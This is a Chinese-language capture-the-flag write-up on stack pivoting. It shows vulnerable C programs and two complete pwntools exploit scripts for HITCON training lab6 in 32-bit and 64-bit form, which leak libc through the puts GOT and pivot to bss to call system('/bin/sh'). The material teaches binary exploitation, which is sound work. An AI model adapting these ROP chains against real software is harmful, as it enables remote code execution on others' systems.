在HITCON training 2017 看到這題後就一直想學
這算是stack overflow 裡面蠻進階的技巧了
但無奈花了快一個禮拜看training 的wp 還是看不懂
因此在網路上先找一題比較簡單的來入手練習
引用來源:https://medium.com/@ktecv2000/%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E4%BD%8D%E6%94%BB%E6%93%8A%E4%B9%8B%E4%B8%89-buffer-overflow-123d6ae7236e
感謝大大提供一個簡單易懂的入門例子
training的wp看了快一個禮拜看不懂,這個花一個下午就大概懂了
先付source code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| // victim : rop.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> void nonSecure() { char name[16]; printf("What's your name?\n"); gets(name); printf("Hey %s, you like ROP? I'll give you root!\n", name); setuid(0); system("Now_what_you_gonna_do...O_O\n"); } int main() { nonSecure(); return 0; }
|
我自己是把他取成pivot.c啦
這題的解題思路就是把name
放到我們自訂的bss 區段address就好了
因為題目內的name
是在stack裡面,受到ASLR的保護我們不知道他的address
我們先 objdump 他

可以得知我的 gets
輸入的值存在 [rbp-0x10]
的位置
要知道 buffer overflow 不僅可以改 rip
的位置,也可以改 rbp
的位置
我們只要將 rbp
改到一個 static 的地方,那不就能 bypass stack ASLR 了嗎?
這個地方以這個實例我選 bss 段來下手
其實就是照著他做
先把 rbp 移到 rbp 上,overflow 跳到 lea rax, [rbp-0x10]
輸入我們的字串 (/bin/sh
), 再跳回main
在第二次輸入的時候直接 overflow 到 call system
的位置並且 pop rdi
下面接存著我們字串的 bss address
exp:

一定有人好奇,為何不能跳 system@PLT
而是跳 call system
我厚著臉皮向 angelboy 請教後才自己 trace 出來
原來在 do_system
時會把 stack 做清空的動作,而現在的 stack frame 就是 bss 段
附上兩張圖片做說明,這個是我把 call_system
改成 system_PLT
後 trace 的結果,這篇其實主要就是說這件事 XD 我自己卡好久了

可以看到這時候我們的 rdi
還是正常的

但跳進 libc 內的 do_system
的時候就把 rdi 弄壞了,所以在吃參數的時候就錯誤而 crash 了
這個要怎麼解呢? 多放幾個 return 讓 /bin/sh
的位址在 system 的 stack frame 以外就好了

這陣子終於把 HITCON 的 lab6 解出來了,這邊用另一種姿勢來解,順便說說stack pivot 的可怕之處
想看網路上找到的解法可以來這裡 搜 lab6
一樣先上題目
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| include <stdio.h>
int count = 1337 ;
int main(){ if(count != 1337) _exit(1); count++; char buf[40]; setvbuf(stdout,0,2,0); puts("Try your best :"); read(0,buf,64); return ; }
|
網路上大部分的解法都是透過兩個 bss address 來進行
這邊讓難度稍微增加一點點,就是只用一個 bss address 進行 leak 與 exploit
stack pivot 只要利用得當,基本上可以只透過一個bss address leak 整個 libc, 面對像 kali 這種比較特規的 libc 很有幫助
解題思路大概是這樣:
overflow 跳到 bss 之後在 bss 進行 read
寫入 puts
leak libc address, puts
leak 完後的 ret address 設為 read
並且在 bss 寫入 system(“/bin/sh”)
read
執行完後的 ret address 設為 leave_ret
, 這時 eip
會跳回 bss 的開頭,也就是system(“/bin/sh”)
exploit code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| from pwn import *
io = process("./migration") context.arch = 'i386' context.terminal = 'bash' context.endian = 'little' context.log_level = 'debug'
# prepare
binELF = ELF('./migration') libc = ELF('./libc.so.6') bss1 = binELF.bss() + 0x800
puts_plt = binELF.symbols['puts'] read_plt = binELF.symbols['read'] puts_got = binELF.got['puts'] read_got = binELF.got['read'] leave_ret = 0x8048504 pop_ebx_ret = 0x8048586 io.recvline()
offset = 40
payload = flat([''.ljust(offset, '\x90'), bss1, read_plt, leave_ret, 0, bss1, 0x100])
io.send(payload)
time.sleep(0.1)
payload2 = flat([bss1, puts_plt, pop_ebx_ret, puts_got, puts_plt, pop_ebx_ret, read_got, read_plt, leave_ret, 0, bss1, 0x100])
io.send(payload2)
time.sleep(0.1) raw_data = io.recv() puts = u32(raw_data[:4]) read = u32(raw_data[5:9])
log.info("puts is 0x%x" %puts) log.info("read is 0x%x" %read)
system = puts - libc.symbols['puts'] + libc.symbols['system'] binsh = puts - libc.symbols['puts'] + libc.search("/bin/sh").next() payload3 = p32(system) + 'bbbb' + p32(binsh) io.send(payload3)
io.interactive()
|
這樣子做的話就不需要 先把 read
那三個 argv 先 pop 出來再 ret 了,因為我們直接用 leave
移動 esp 到 system
這次再嘗試換個姿勢,也就是把題目改成 64 位元的來玩
因為 read
要三個 argv, 要找到 pop rdi rsi rdx
這三個連續的 opcode 老實說難度有點高,所以在這邊稍微改一下 code
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| #include <stdio.h>
int count = 1337 ;
int main(){ if(count != 1337) _exit(1); count++; char buf[40]; setvbuf(stdout,0,2,0); puts("Try your best :"); gets(buf); return ; }
|
換成 gets 比較容易XD
先附上 exploit code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| from pwn import *
io = process("./migration64") context.arch = 'amd64' context.terminal = 'bash' context.endian = 'little' context.log_level = 'debug'
# prepare
binELF = ELF('./migration64') libc = ELF('./libc.so.6_64') bss1 = binELF.bss() + 0x800
puts_plt = binELF.symbols['puts'] gets_plt = binELF.symbols['gets'] puts_got = binELF.got['puts'] gets_got = binELF.got['gets'] leave_ret = 0x4011bd pop_rdi_ret = 0x40121b offset = 48
io.recvline()
payload = flat([''.ljust(offset, '\x90'), bss1, pop_rdi_ret, bss1, gets_plt, leave_ret])
io.sendline(payload) time.sleep(0.1)
payload = flat([bss1, pop_rdi_ret, puts_got, puts_plt, pop_rdi_ret, gets_got, puts_plt, pop_rdi_ret, bss1, gets_plt, leave_ret ]) io.sendline(payload) raw_data = io.recv()
puts = u64(raw_data[:6].ljust(8, "\x00")) gets = u64(raw_data[7:13].ljust(8, '\x00'))
log.info("puts is 0x%x" %puts) log.info("gets is 0x%x" %gets)
system = puts - libc.symbols['puts'] + libc.symbols['system'] binsh = puts - libc.symbols['puts'] + libc.search("/bin/sh").next() time.sleep(0.1) payload = p64(bss1) + p64(pop_rdi_ret) + p64(binsh) + p64(system) io.sendline(payload) io.interactive()
|
大概提一下幾個需要注意的地方:
因為 gets
x64 的 argv 是放在 rdi
裡面,所以不用特別 pop
stack 內的值
也因為需要先 pop_rdi
才能 call function, 所以 paylaod 放的順序也要稍微注意一下
再來因為我們改成用 gets
當作輸入,所以就不能用 send
而要用 sendline
了
最後一個就是 libc address 的長度要記得用 ljust
補滿0, 這樣 u64
才會正常